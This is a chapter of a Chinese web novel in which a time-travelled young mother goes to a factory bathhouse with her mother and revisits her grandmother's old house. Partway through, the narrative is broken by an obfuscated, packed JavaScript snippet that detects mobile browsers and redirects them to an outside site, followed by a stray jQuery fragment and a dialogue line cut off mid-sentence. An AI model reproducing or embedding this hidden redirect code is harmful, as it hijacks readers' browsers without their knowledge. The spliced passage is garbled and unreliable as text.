刘丽丽来去一阵风，只有她的香水味在不通风的房间里久久不散。
杜涓斜靠在床头，捧着瓷碗吃奶粉泡早餐饼干。
饼干被泡得疏松柔软，一抿就一股奶香化在嘴里。
但杜涓吃得心不在焉。
在你面前大说大笑的人，你却一直想着她的寿命还剩七年，这种感觉实在是令人提不起劲。
然而上辈子的自己那时实在太小，那些听不懂的话最终也没有形成什么记忆，无论如何都想不起来。
“窝吃窝拉。”
忙着扫完地又擦窗台的梁凤至路过并留下感叹，最后还是认命地伸手，“要不要再来点？”
“吃饱了，谢谢妈妈。”
杜涓笑得眉眼弯弯，把空了的白瓷碗和凹刻着梅花图案的不锈钢勺双手奉上。
“小讨债鬼。”
“妈妈妈妈，想吃黄桃罐头～”
二十四岁正是嘴馋的年纪，撒娇这门课程，杜涓也可以无师自通。
杜涓趴在窗台上，发现远处南山上的松林被雪染白的时候，日历翻到了十一月。
终于可以痛快洗澡了！
她被梁凤至用一条巨大围巾裹得只露出一双漂亮眼睛。床头坐着抱着小杜若的杜雨，正举着杜若的小手和杜涓挥挥：“妈妈再见～姥姥再见！”
“别给孩子拽疼了，一会又哭！”梁凤至嫌弃地弯腰换鞋。
杜涓鬼使神差地回身戳戳杜若的小脸。
“宝宝再见！”
这下连杜雨也露出嫌弃脸了。
出门没一会又下起了小雪。杜涓眯着眼睛，只能看清自己因为太久没洗而打绺的两绺刘海儿。梁凤至倒是不断地跟熟人打招呼。
“他张婶！对，上澡堂子！”
“你家小王又值班啊？”
……
尽管知道不会有人在意她的满面油光，杜涓还是觉得偶像包袱好重，去澡堂子的路好长。
走着走着回忆渐次涌上心头，上辈子妈妈也是这样一手拎着洗澡用的小筐，一手拽着她，走在这条路上。
她甚至还能想起那是每个周六的上午。洗完澡，她就要去学剑桥少儿英语，所以每次都很匆忙。
掀开加工厂浴池的门帘，潮湿的热气扑面而来。
“47号。”
“梁婶，这还用说吗，我都记得门儿清呢！”
收银员把打了一半的毛衣放在一旁，回身从身后打满储物格的墙上精准找到47号，拿出两双塑料拖鞋，又从柜台下面拿出两根绑着数字号码牌和小钥匙的电话绳，一起交给梁凤至。
“都是中间的格，放东西方便。小孩咋没领来呢？”
“太小了，怕出来让风吹凉着了。她姐在家看着呢。”梁凤至坐在换鞋凳上换鞋，一边答应着。
“梁婶这鞋真结实，牛皮的吧？”
收银员接过梁凤至的鞋。
杜涓迟疑了一下，才把脱下来的鞋子也递给收银员。
“哪有啊，就是革的，小雨给买的，哈哈哈……”
杜涓默默撩起印着大大“女”字的布帘子进去，立刻被更高浓度的水汽和满眼白花花的赤裸身体震惊一小下。
明明曾经是从小到大的日常，现在竟然完全无法习惯。
梁凤至麻利地把身上的棉衣、毛马甲、绒衣、秋衣……一件件脱下，“你愣啥神呢？”
“妈，我觉得还是应该在家装一个淋浴间。”
梁凤至用眼神表达“开什么玩笑”，伸手把杜涓头上的围巾拽下来，“你不热吗，我看着你都热！”
洗发水是小袋的，杜涓又黑又密的长发要两袋才能勉强洗干净……也洗不干净。实在是太久没有好好洗头了，坐月子期间每次洗脸的时候她都想把头按进水盆，然而每次都被梁凤至及时发现并制止。
她皱着眉撕开第三袋洗发水，湿着的手打滑，怎么也撕不开。
梁凤至把自己没用完的一袋全都挤在杜涓头上，“我的还剩点。”
然而最终还是死活撕开了第三袋。
搓澡的时候杜涓感觉自己像一条砧板上的鱼。搓澡的阿姨手起刀落，她就忍不住惨叫。
“轻点儿……”
阿姨嬉笑着说：“挺出货啊，感觉能瘦二斤。”
杜涓强忍住遮住自己某些部位的欲望，躺得像一具人物标本。
“来，侧过来，搓搓后面。”
她悄悄睁开紧闭的眼睛，看见自己小腹上好长一道疤。
“洗完了，我先出去了。”
梁凤至虽然不知道为什么杜涓洗个澡洗得突然闷闷不乐，还是摆摆手示意听到了。
“捂严实了，换鞋凳等妈。”
“哎。”杜涓低声应着，趿拉着拖鞋走到储物间，用手腕上绑着的号码牌弄开储物柜的门，把自己的衣服用两根手指捏出来，慢吞吞穿着。
储物间中间放着的大矮凳上汪着水和泡沫，虽然很快就被负责清理打扫的人擦干净了，她还是不想坐。
地面上被进进出出的人踩得脏兮兮，她穿长裤的时候单脚跳着，努力不让裤子拖到地上。
明明是刚洗过的衣服，从浴室里出来，也觉得有种混杂着潮气和不知该如何形容的气味。
杜涓垂着眼睛穿戴整齐，没有吹风机，只能把湿漉漉的头发尽量擦干后盘在头顶，再用帽子和围巾包严了。
掀起帘子出门，就碰上了那位大学生邻居。
“您好，我要一个单间。”
“五张票……不是加工厂的啊，那五块钱。”
“好嘞！”
收银员目送谢广乾消失在2写着“男”的布帘后，才抬起眼对杜涓，或者对空气中的某个点嘀咕：“真讲究！我这的拖鞋不是专用的啊，就愿意自己拎来拎去的。”
杜涓尴尬而不失礼貌地微笑了一下，把号码牌递给收银员。
心里想着，拖鞋可以凑合，但是下次一定也要洗单间！
就着斜吊在收银台上空的电视机看了大半集《天龙八部》，梁凤至才姗姗来迟。
“洗一半才发现旁边是你张姨，唠了两句。”她有点不好意思地解释。
“唠了好长的两句啊。”
杜涓站起身，肩头毫不意外地挨了梁凤至轻轻的一拍。
“姑娘，婶走了啊！”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549403|171115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“行！梁婶我给你撕两张票哈！”
什么撕票，杜涓缩了缩脖子。
然后又挨一拍：“没有礼貌，都不跟人打招呼。”
怎么穿越回来，还是会在二十四岁的时候被念叨这些啊！
回家的路上雪停了，天空很蓝，阳光明媚，然而吸入的空气还是干燥而寒冷。杜涓吐口气，面前就一团白雾。
杜涓不再用刘海遮挡视线，像个观光客一样新奇地打量着道路两侧的景色。
和记忆中相比，好像并没有多大的改变。然而她的记忆也不靠谱，因为自从高中住校以后，她就很少回加工厂这片了。
上辈子上大学的时候疯狂地想家，然而“家”好像变成一个符号。一想到她想念的“家”里还有爸妈存在，她就本能地抗拒。
她竟然再也没有见过家乡的春天、夏天和秋天。
然而此刻终于回到这片魂牵梦萦的土地，她却迟迟难以习惯。
过于干燥的空气，扬尘的沙土路，还有刚才人群拥挤的澡堂。
她对杜鹃河的爱，像叶公好龙。
梁凤至的心里没有那么多伤春悲秋，“快到平房了，我去拿点针头线脑啥的。”
杜涓呆呆应“是”，才发现面前就是平房，上辈子的姥姥家。
上辈子的这片平房一直都没有棚户区改造，姥姥也终老都住在这里。姥姥弥留之际，那时的杜涓做好万全准备，一定要把这座平房的继承权拿到手。
没想到杜雨根本就没有跟她争。
再后来，这里终于棚户区改造，换来了三室一厅的大房子，杜涓一家住了进去。
说是一家，但是那时候张强根本不怎么回家，已经在外读书、工作的张晓风更是每次回家，都要打开淘宝地址看看自己家是几号楼几单元。
偌大而空旷的房子，只有杜涓一个人在住。
房子不大，不到五十平的一屋一厨，胜在房前房后各有一片小院。梁凤至说是进去取东西，然而看见被邻居家大狗拱得歪七扭八的柴堆，就忍不住撂下手里的澡筐，去把柴堆垛齐，还不忘回头嘱咐杜涓：“你先进屋，看让风扑了。”
杜涓信步走过冷锅冷灶，穿到后面的起居室里。铺着革制炕席的大炕上只有一层薄薄的灰尘，折叠桌立在墙边，脚踏缝纫机上整整齐齐罩着蕾丝边白布。
房子的采光并不好，白天也昏昏暗暗，杜涓走到窗边，低矮的栅栏圈着一片小小菜地，因为是冬天，罩着菜畦的塑料布上都积着雪。
梁凤至进屋的时候，就看见杜涓呆呆地望着窗外。她觉得好笑，她的这个女儿，从前沉默忧郁，还有些文绉绉的书卷气，生下小杜若之后，又添了发呆的爱好。
“难不成真有一孕傻三年这说？”梁凤至嘀咕着上前，手伸到杜涓眼前挥挥，“看着啥了，看得这么入迷？”
“我看见了学校。”
梁凤至顺着杜涓的目光往外望，只望见栅栏外好大一片荒地，连棵树都没有，只有几堆水泥管三三两两地堆着，一望能望出去好远。
梁凤至寻思着，之前在医院那个什么心理咨询，可能还得给自家小女儿挂个号。